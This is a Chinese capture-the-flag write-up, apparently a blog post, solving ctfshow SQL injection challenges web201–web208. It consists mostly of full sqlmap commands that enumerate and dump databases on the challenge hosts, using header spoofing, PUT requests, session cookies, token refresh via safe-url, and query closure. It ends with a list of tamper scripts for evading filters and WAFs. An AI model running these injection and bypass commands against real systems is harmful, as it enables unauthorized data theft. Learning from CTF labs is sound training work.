ctfshow web入门 sql注入 web201--web208

web201

先扫描先
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap
加头
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show
枚举库
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs
枚举表
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
枚举列
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
数据
python .\sqlmap.py -u "http://4863661d-2371-4812-ae62-128fadbdc0a4.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

在这里插入图片描述在这里插入图片描述
是啥

web202

用data改请求方式

注意api别漏掉了,然后拼写别错,http不是https

python .\sqlmap.py -u "http://3395352c-1e86-446d-814f-d49bc02042be.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show
python .\sqlmap.py -u "http://3395352c-1e86-446d-814f-d49bc02042be.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -dbs
python .\sqlmap.py -u "http://3395352c-1e86-446d-814f-d49bc02042be.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
python .\sqlmap.py -u "http://3395352c-1e86-446d-814f-d49bc02042be.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://3395352c-1e86-446d-814f-d49bc02042be.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

用method改请求方式(PUT)
python .\sqlmap.py -u "http://fb25eddc-f693-4138-8cc8-ca639d22f874.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show
python .\sqlmap.py -u "http://fb25eddc-f693-4138-8cc8-ca639d22f874.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --dbs
python .\sqlmap.py -u "http://fb25eddc-f693-4138-8cc8-ca639d22f874.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
python .\sqlmap.py -u "http://fb25eddc-f693-4138-8cc8-ca639d22f874.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://fb25eddc-f693-4138-8cc8-ca639d22f874.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web204

很奇怪别人看cookie都是应用程序看 的我在内存看的
在这里插入图片描述
这是hackbar看到的cookie,没有的就是错误cookie就可以用hackbar
cf_clearance=twnxLak1KVHgCQpQecvcQ2eHn4Ty1zsuE1BLcEG29_M-1711783376-1.0.1.1-ptCSy07xKdkUkBdZhFZEjg.TcqAQnYo_ND6dWhksHDtXQuBzjsNtKdfNeHwvTSCAja1SPFyDWPiZINY8BBSOdQ;_ga_PP4LXQY4W0=GS1.1.1713877233.1.1.1713877940.0.0.0;_ga=GA1.2.1696768882.1713877234

错误cookie
ctfshow:"046bfa5b36c9250a53c8b0495155882d"
PHPSESSID:"oihemte7p4rs34c64h0atsblbf"
python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show

python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show --dbs

python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

抓包传cookie(鉴权)再sqlmap
在这里插入图片描述

cookie:
PHPSESSID=o463b8qjg024ac1t86al0uquus
python .\sqlmap.py -u "http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6m26v1n6u0883a3pq5bqrg5s01" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python .\sqlmap.py -u "http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6m26v1n6u0883a3pq5bqrg5s01" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump

web206

提示sql语句需要闭合,但是我们不需要处理,因为sqlmap可以帮忙处理
http://7be82c6c-5e57-409e-9121-db49211dcab7.challenge.ctf.show

python .\sqlmap.py -u "http://7be82c6c-5e57-409e-9121-db49211dcab7.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://7be82c6c-5e57-409e-9121-db49211dcab7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=bomg15e8ubpnarh8pg6emun78c" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump
//闭合的是这样的
python .\sqlmap.py -u "http://7be82c6c-5e57-409e-9121-db49211dcab7.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://7be82c6c-5e57-409e-9121-db49211dcab7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=bomg15e8ubpnarh8pg6emun78c" --prefix="')" --suffix="#" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump

web207

这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:

python .\sqlmap.py -u "http://a4f6bb71-8d98-4348-9de7-1e28aa5a8174.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://a4f6bb71-8d98-4348-9de7-1e28aa5a8174.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e18m310p77s1g4mkb5ne48j4bl" --prefix="')" --suffix="#" --user-agent=sqlmap --tamper space2comment.py --referer=ctf.show -D ctfshow_web --tables

python .\sqlmap.py -u "http://a4f6bb71-8d98-4348-9de7-1e28aa5a8174.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://a4f6bb71-8d98-4348-9de7-1e28aa5a8174.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e18m310p77s1g4mkb5ne48j4bl" --prefix="')" --suffix="#" --user-agent=sqlmap --tamper space2comment.py --referer=ctf.show -D ctfshow_web -T ctfshow_flaxca --dump

web208

python .\sqlmap.py -u "http://2d6379a9-3588-45a9-a346-a6ea12e6e2d2.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://2d6379a9-3588-45a9-a346-a6ea12e6e2d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g6i2mroj5h9ag0htvh3tkqo558" --prefix="')" --suffix="#" --user-agent=sqlmap --tamper space2comment.py,randomcase.py --referer=ctf.show -D ctfshow_web --tables

python .\sqlmap.py -u "http://2d6379a9-3588-45a9-a346-a6ea12e6e2d2.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://2d6379a9-3588-45a9-a346-a6ea12e6e2d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g6i2mroj5h9ag0htvh3tkqo558" --prefix="')" --suffix="#" --user-agent=sqlmap --tamper space2comment.py,randomcase.py --referer=ctf.show -D ctfshow_web -T ctfshow_flaxcac --dump 

常用sqlmap脚本

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释
  • 13
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值